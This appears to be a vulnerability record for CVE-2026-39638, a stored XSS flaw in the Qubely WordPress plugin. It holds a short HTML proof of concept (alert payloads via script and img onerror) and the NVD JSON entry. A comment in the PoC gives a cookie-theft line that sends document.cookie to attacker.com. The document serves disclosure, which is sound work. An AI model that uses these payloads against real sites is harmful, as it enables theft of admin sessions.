CVE-2026-39638

<!-- PoC for Stored XSS in Themeum Qubely <= 1.8.14 Author: Security Analyst Description: Inject a script that executes when an admin views the page. --> <script> // Simple payload to demonstrate vulnerability execution alert('CVE-2026-39638: Stored XSS triggered in Qubely'); // In a real attack scenario, this could be: // var i=new Image(); i.src='http://attacker.com/?c='+document.cookie; </script> <!-- Alternative payload using img tag if script tags are filtered --> <img src=x onerror=alert('CVE-2026-39638')>

{"cve": {"id": "CVE-2026-39638", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:34.540", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeum Qubely qubely allows Stored XSS.This issue affects Qubely: from n/a through <= 1.8.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/qubely/vulnerability/wordpress-qubely-plugin-1-8-14-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}